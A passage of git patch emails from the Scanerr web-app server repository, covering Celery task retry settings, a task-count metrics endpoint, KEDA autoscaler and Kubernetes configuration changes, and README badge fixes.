Date: Sat, 29 Jul 2023 17:54:45 -0500
Subject: [PATCH 073/752] added json field to response

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 2b8ac586..29de2098 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2862,6 +2862,6 @@ def get_celery_task_length(request):
         all_tasks += reserved[replica]
 
     # return response
-    data = {str(all_tasks)}
+    data = {"all_tasks": str(all_tasks)}
     response = Response(data, status=status.HTTP_200_OK)
     return response
\ No newline at end of file

From 8b4bd92d6f7d083529e1c06c1a8459a600cb2328 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 18:10:03 -0500
Subject: [PATCH 074/752] fixed tasks metrics bug

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 29de2098..9a39d829 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2859,7 +2859,7 @@ def get_celery_task_length(request):
     for replica in reserved:
         all_tasks += len(reserved[replica])
     for replica in active:
-        all_tasks += reserved[replica]
+        all_tasks += len(active[replica])
 
     # return response
     data = {"all_tasks": str(all_tasks)}

From a0e5189be164a79b0cf94b2e87d6288e9046df62 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:28:20 -0500
Subject: [PATCH 075/752] added retry configs to tasks

---
 app/api/tasks.py | 69 +++++++++++++++++++++++++-----------------------
 1 file changed, 36 insertions(+), 33 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 75433165..57480c57 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -28,6 +28,14 @@
 
 
 
+class BaseTaskWithRetry(celery.Task):
+    autoretry_for = (Exception, KeyError)
+    retry_kwargs = {'max_retries': 5}
+    retry_backoff = True
+
+
+
+
 
 @shared_task
 def test_pupeteer():
@@ -35,15 +43,8 @@ def test_pupeteer():
     logger.info('Tested pupeteer instalation')
 
 
-@shared_task
-def create_site_bg(site_id=None, scan_id=None, configs=None, *args, **kwargs):
-    create_site_task(site_id, scan_id, configs)
-    logger.info('Created scan of new site')
-
-
-
-@shared_task
-def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
@@ -83,8 +84,8 @@ def create_site_and_pages_bg(site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
-def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
     site.time_crawl_completed = None
@@ -136,8 +137,8 @@ def crawl_site_bg(site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
-def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
@@ -154,8 +155,9 @@ def scan_page_bg(scan_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def _create_scan(
+        self,
         scan_id=None,
         page_id=None, 
         type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
@@ -177,8 +179,8 @@ def _create_scan(
 
 
 
-@shared_task
-def create_scan_bg(*args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_scan_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -205,31 +207,31 @@ def create_scan_bg(*args, **kwargs):
 
 
 
-@shared_task
-def run_html_and_logs_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-@shared_task
-def run_vrt_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_vrt_bg(self, scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-@shared_task
-def run_lighthouse_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-@shared_task
-def run_yellowlab_bg(scan_id=None, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
     logger.info('ran yellowlab component')
 
 
 
 
-@shared_task
-def run_test(test_id, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
     T(test=test).run_test()
@@ -240,8 +242,8 @@ def run_test(test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
-@shared_task
-def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
     post_scan_id = test.post_scan.id
@@ -259,8 +261,9 @@ def check_scan_for_test(test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def _create_test(
+        self,
         test_id=None,
         page_id=None, 
         automation_id=None, 
@@ -305,7 +308,6 @@ def _create_test(
             configs=configs,
         )
         
-
     # updating parired scans
     pre_scan.paired_scan = post_scan
     post_scan.paried_scan = pre_scan
@@ -326,8 +328,8 @@ def _create_test(
 
 
 
-@shared_task
-def create_test_bg(*args, **kwargs):
+@shared_task(bing=True, base=BaseTaskWithRetry)
+def create_test_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
     page_id = kwargs.get('page_id')
@@ -482,8 +484,9 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
-@shared_task
+@shared_task(bing=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
+        self, 
         testcase_id=None, 
         site_id=None, 
         case_id=None, 

From 67d7b7bcb583ec5bf7304ee762307866408e6e8b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:28:30 -0500
Subject: [PATCH 076/752] cleaning up

---
 k8s/prod/celery-autoscaler.yaml               | 70 ++++++++++++++++---
 k8s/prod/celery-deployment.yaml               |  2 +-
 k8s/prod/{ => old_configs}/app-pvc.yaml       |  0
 .../{ => old_configs}/redis-deployment.yaml   |  0
 4 files changed, 62 insertions(+), 10 deletions(-)
 rename k8s/prod/{ => old_configs}/app-pvc.yaml (100%)
 rename k8s/prod/{ => old_configs}/redis-deployment.yaml (100%)

diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index d2939968..e9845aa4 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -5,17 +5,69 @@ metadata:
 spec:
   scaleTargetRef:
     name: celery-deployment
-  pollingInterval: 3
+  cooldownPeriod:  4000
+  pollingInterval: 10
   minReplicaCount: 2
   maxReplicaCount: 15
   triggers:
-    - type: redis
+    - type: metrics-api
       metadata:
-        address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
-        listName: celery # Required
-        listLength: "5" # Required
-        activationListLength: "5" # optional
-        enableTLS: "false" # optional
-        unsafeSsl: "false" # optional
-        databaseIndex: "0" # optional
+        targetValue: "5"
+        # activationTargetValue: "4"
+        url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
+        valueLocation: "all_tasks"
+
+
+
+
+
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#     - type: redis
+#       metadata:
+#         address: redis.default.svc.cluster.local:6379  # Format must be host:port redis:6379
+#         listName: celery # Required
+#         listLength: "5" # Required
+#         activationListLength: "5" # optional
+#         enableTLS: "false" # optional
+#         unsafeSsl: "false" # optional
+#         databaseIndex: "0" # optional
+
+
+
+
+# apiVersion: keda.sh/v1alpha1
+# kind: ScaledObject
+# metadata:
+#   name: celery-scaler
+# spec:
+#   scaleTargetRef:
+#     name: celery-deployment
+#   cooldownPeriod:  4000
+#   pollingInterval: 3
+#   minReplicaCount: 2
+#   maxReplicaCount: 15
+#   triggers:
+#   - type: rabbitmq
+#     metadata:
+#       host: amqp://rabbitmq.default.svc.cluster.local:5672 # rabbitmq.default.svc.cluster.local:5672 Optional. If not specified, it must be done by using TriggerAuthentication.
+#       mode: QueueLength # QueueLength or MessageRate
+#       value: "5" # message backlog or publish/sec. target per instance
+#       activationValue: "5" # Optional. Activation threshold
+#       queueName: celery
+
+
 
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index be898dca..74df9e09 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -14,7 +14,7 @@ spec:
       labels:
         app: celery-deployment
     spec:
-      terminationGracePeriodSeconds: 2000
+      terminationGracePeriodSeconds: 4000
       imagePullSecrets:
         - name: regcred
       containers:
diff --git a/k8s/prod/app-pvc.yaml b/k8s/prod/old_configs/app-pvc.yaml
similarity index 100%
rename from k8s/prod/app-pvc.yaml
rename to k8s/prod/old_configs/app-pvc.yaml
diff --git a/k8s/prod/redis-deployment.yaml b/k8s/prod/old_configs/redis-deployment.yaml
similarity index 100%
rename from k8s/prod/redis-deployment.yaml
rename to k8s/prod/old_configs/redis-deployment.yaml

From eeea902e7b11570fdf57974d6e877523b575a187 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 19:35:55 -0500
Subject: [PATCH 077/752] changed max_retries to 2

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 57480c57..3b31af00 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -30,7 +30,7 @@
 
 class BaseTaskWithRetry(celery.Task):
     autoretry_for = (Exception, KeyError)
-    retry_kwargs = {'max_retries': 5}
+    retry_kwargs = {'max_retries': 2}
     retry_backoff = True
 
 

From e5844da1c1c67b0dd78b6e291af8dc4c7a64e29a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 21:48:26 -0500
Subject: [PATCH 078/752] fixed import bug

---
 app/api/tasks.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3b31af00..47abc565 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1,8 +1,7 @@
 from __future__ import absolute_import, unicode_literals
 from typing import Any
 from celery.utils.log import get_task_logger
-from celery import shared_task
-from celery import Task as BaseTask
+from celery import shared_task, Task
 from .utils.crawler import Crawler
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
@@ -27,8 +26,7 @@
 logger = get_task_logger(__name__)
 
 
-
-class BaseTaskWithRetry(celery.Task):
+class BaseTaskWithRetry(Task):
     autoretry_for = (Exception, KeyError)
     retry_kwargs = {'max_retries': 2}
     retry_backoff = True

From a7710b9311c23f0875710f68557bb238be9c0b61 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 22:31:28 -0500
Subject: [PATCH 079/752] fixed some bugs and cleaned up configs

---
 app/api/tasks.py           | 32 ++++++++++++++++++--------------
 app/api/v1/ops/services.py |  1 +
 app/scanerr/settings.py    |  3 ---
 3 files changed, 19 insertions(+), 17 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 47abc565..f8460e6b 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -41,7 +41,7 @@ def test_pupeteer():
     logger.info('Tested pupeteer instalation')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
@@ -82,7 +82,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
     site = Site.objects.get(id=site_id)
     site.time_crawl_started = timezone.now()
@@ -135,7 +135,7 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
@@ -153,7 +153,7 @@ def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def _create_scan(
         self,
         scan_id=None,
@@ -177,7 +177,7 @@ def _create_scan(
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_scan_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
@@ -195,6 +195,7 @@ def create_scan_bg(self, *args, **kwargs):
 
     for page in pages:
         _create_scan.delay(
+            self,
             page_id=page.id,
             type=type,
             configs=configs,
@@ -205,22 +206,22 @@ def create_scan_bg(self, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_html_and_logs_bg(self, scan_id=None, *args, **kwargs):
     run_html_and_logs_task(scan_id)
     logger.info('ran html & logs component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_vrt_bg(self, scan_id=None, *args, **kwargs):
     run_vrt_task(scan_id)
     logger.info('ran vrt component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_lighthouse_bg(self, scan_id=None, *args, **kwargs):
     run_lighthouse_task(scan_id)
     logger.info('ran lighthouse component')
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
     run_yellowlab_task(scan_id)
     logger.info('ran yellowlab component')
@@ -228,7 +229,7 @@ def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
@@ -240,7 +241,7 @@ def run_test(self, test_id, *args, **kwargs):
     logger.info('Test completed')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
@@ -259,7 +260,7 @@ def check_scan_for_test(self, test_id=None, max_wait_time=500, *args, **kwargs):
     logger.info('Scan complete, begining Test')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def _create_test(
         self,
         test_id=None,
@@ -302,6 +303,7 @@ def _create_test(
             configs=configs,
         )
         scan_page_bg.delay(
+            self,
             scan_id=post_scan.id, 
             configs=configs,
         )
@@ -326,7 +328,7 @@ def _create_test(
 
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_test_bg(self, *args, **kwargs):
     # get data
     site_id = kwargs.get('site_id')
@@ -349,6 +351,7 @@ def create_test_bg(self, *args, **kwargs):
 
         for page in pages:
             _create_test.delay(
+                self, 
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -361,6 +364,7 @@ def create_test_bg(self, *args, **kwargs):
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         _create_test.delay(
+            self,
             test_id=test_id,
             page_id=test.page.id,
             type=type,
@@ -482,7 +486,7 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
-@shared_task(bing=True, base=BaseTaskWithRetry)
+@shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
         testcase_id=None, 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9a39d829..9cd459f5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1252,6 +1252,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
+                self, 
                 page_id=p.id,
                 test_id=test.id,
                 configs=configs,
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 3c0f0744..95f1db40 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -192,12 +192,9 @@
 
 # Redis and Celery Conf
 # CELERY_BROKER_URL = "redis://redis:6379"
-# CELERY_RESULT_BACKEND = "redis://redis:6379"
 
 # RabbitMQ and Celery Conf
 CELERY_BROKER_URL = "amqp://rabbitmq"
-# CELERY_BROKER_URL = "rpc://rabbitmq:5672"
-# CELERY_RESULT_BACKEND = "rpc://rabbitmq:5672"
 
 
 

From c32cc8c6a8b67c2558213b6250cfc33178f7f879 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sat, 29 Jul 2023 23:36:43 -0500
Subject: [PATCH 080/752] fixing 'self' bug

---
 app/api/v1/ops/services.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9cd459f5..9a39d829 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1252,7 +1252,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
         
         if delay == True:
             create_test_bg.delay(
-                self, 
                 page_id=p.id,
                 test_id=test.id,
                 configs=configs,

From 1998907a0da1b53e5564d6d6d5ff4c1199059b69 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 00:23:40 -0500
Subject: [PATCH 081/752] removed stray "self" args

---
 app/api/tasks.py | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f8460e6b..e737a660 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -195,7 +195,6 @@ def create_scan_bg(self, *args, **kwargs):
 
     for page in pages:
         _create_scan.delay(
-            self,
             page_id=page.id,
             type=type,
             configs=configs,
@@ -303,7 +302,6 @@ def _create_test(
             configs=configs,
         )
         scan_page_bg.delay(
-            self,
             scan_id=post_scan.id, 
             configs=configs,
         )
@@ -351,7 +349,6 @@ def create_test_bg(self, *args, **kwargs):
 
         for page in pages:
             _create_test.delay(
-                self, 
                 page_id=page.id,
                 type=type,
                 configs=configs,
@@ -364,7 +361,6 @@ def create_test_bg(self, *args, **kwargs):
     if test_id is not None:
         test = Test.objects.get(id=test_id)
         _create_test.delay(
-            self,
             test_id=test_id,
             page_id=test.page.id,
             type=type,

From e1cac361f062de1414b1276cd149585c0ce0441d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:01:27 -0500
Subject: [PATCH 082/752] fixing testing bug

---
 app/api/tasks.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e737a660..ad35afab 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -232,8 +232,6 @@ def run_yellowlab_bg(self, scan_id=None, *args, **kwargs):
 def run_test(self, test_id, *args, **kwargs):
     automation_id = kwargs.get('automation_id')
     test = Test.objects.get(id=test_id)
-    T(test=test).run_test()
-
     test = T(test=test).run_test()
     if automation_id:
         automation(automation_id, test.id)

From ab73bc311142ab45fd2b29858edb3d2f2f201547 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:08:24 -0500
Subject: [PATCH 083/752] fixing badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 37ea55a9..6f9a95b7 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Scanerr Server (API repo)
 
-[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)](https://api.scanerr.io/)
+[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)]
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From b7b9b8afe7b747104b08c667b5ab83dae859342f Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:10:52 -0500
Subject: [PATCH 084/752] badge stuff

---
 README.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 6f9a95b7..f92d659a 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,7 @@
 # Scanerr Server (API repo)
 
-[![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow/badge.svg)]
+![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
+![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From b481283f9950c091b4f0b1c45bb65672b7f0ae47 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:11:49 -0500
Subject: [PATCH 085/752] fixed badge

---
 README.md | 1 -
 1 file changed, 1 deletion(-)

diff --git a/README.md b/README.md
index f92d659a..003216f2 100644
--- a/README.md
+++ b/README.md
@@ -1,7 +1,6 @@
 # Scanerr Server (API repo)
 
 ![Build Status](https://github.com/scanerr-io/server/actions/workflows/workflow.yml/badge.svg)
-![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg)
 
 This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From fe29d3dbc2623c73fe20bfcf9a58ae6207fbd411 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 10:19:40 -0500
Subject: [PATCH 086/752] added id tracking to bulk test creation

---
 app/api/v1/ops/services.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9a39d829..2e7ddccb 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1249,7 +1249,8 @@ def create_test(request=None, delay=False, *args, **kwargs):
             type=test_type,
             tags=tags,
         )
-        
+        created_tests.append(str(test.id))
+
         if delay == True:
             create_test_bg.delay(
                 page_id=p.id,

From 4a63e23d5deb65c93db2ab8b321b96ef0212479d Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 12:54:18 -0500
Subject: [PATCH 087/752] updated resources and added concurency limit

---
 k8s/prod/celery-deployment.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 74df9e09..19474de8 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -19,9 +19,9 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # landonr/scanerr-server:c6f563e #
+          image: <IMAGE> # landonr/scanerr-server:7837ab3 # 
           imagePullPolicy: Always
-          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
+          command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info", "-c 2"]
           envFrom:
             - configMapRef:
                 name: app-configs
@@ -35,8 +35,8 @@ spec:
               cpu: "2"
               memory: "4Gi"
             requests:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
           lifecycle:
             preStop:
               exec:

From 8ada25929bafcff257724a9786c9413ff211e303 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 12:54:26 -0500
Subject: [PATCH 088/752] cleaning things up

---
 k8s/kubernetes-notes.md         | 3 ---
 k8s/prod/celery-autoscaler.yaml | 1 -
 2 files changed, 4 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index 4eacd4a2..c1cf7b90 100644
--- a/k8s/kubernetes-notes.md
+++ b/k8s/kubernetes-notes.md
@@ -106,11 +106,8 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 4. Spin up Scanerr deployments and services
-<!-- - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-pvc.yaml` -->
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/rabbitmq-deployment.yaml`
-- 
 - `kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index e9845aa4..0d1cbc3e 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -13,7 +13,6 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "5"
-        # activationTargetValue: "4"
         url: "https://api.scanerr.io/v1/ops/metrics/celery/tasks"
         valueLocation: "all_tasks"
 

From 64bc2161f0668987b939dc35cbeb31f783890446 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Sun, 30 Jul 2023 16:01:54 -0500
Subject: [PATCH 089/752] fixing oom task killer

---
 app/api/tasks.py                | 41 ++++++++++++++++++++-------------
 app/api/utils/driver_p.py       |  2 +-
 app/api/utils/driver_s.py       |  2 +-
 app/api/utils/image.py          | 25 ++++++++++++--------
 app/api/utils/scanner.py        | 28 ++++++++++++++--------
 app/api/v1/ops/services.py      | 25 +++++++++++++++-----
 app/api/v1/ops/tasks.py         | 22 ------------------
 app/api/v1/ops/urls.py          |  2 +-
 app/api/v1/ops/views.py         |  4 ++--
 k8s/prod/celery-autoscaler.yaml |  6 ++---
 k8s/prod/celery-deployment.yaml |  8 +++----
 11 files changed, 90 insertions(+), 75 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index ad35afab..d0277d24 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -6,12 +6,15 @@
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
 from .v1.ops.tasks import (
-    create_site_task, create_scan_task, run_html_and_logs_task,
-    run_vrt_task, run_lighthouse_task, run_yellowlab_task, 
+    create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,
     delete_site_s3, create_testcase_task, migrate_site_task,
     delete_testcase_s3,
 )
+from .utils.scanner import (
+    _html_and_logs, _vrt, _lighthouse, 
+    _yellowlab
+)
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -136,18 +139,18 @@ def crawl_site_bg(self, site_id=None, configs=None, *args, **kwargs):
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def scan_page_bg(self, scan_id=None, configs=None, *args, **kwargs):
+def scan_page_bg(self, scan_id=None, test_id=None, automation_id=None, configs=None, *args, **kwargs):
     scan = Scan.objects.get(id=scan_id)
     
     # run each scan component in parallel
     if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
-        run_html_and_logs_bg.delay(scan_id=scan.id)
+        run_html_and_logs_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
     if 'lighthouse' in scan.type or 'full' in scan.type:
-        run_lighthouse_bg.delay(scan_id=scan.id)
+        run_lighthouse_bg.delay(scan_id=scan.id, test_id=test_id, automation_id=automation_id)
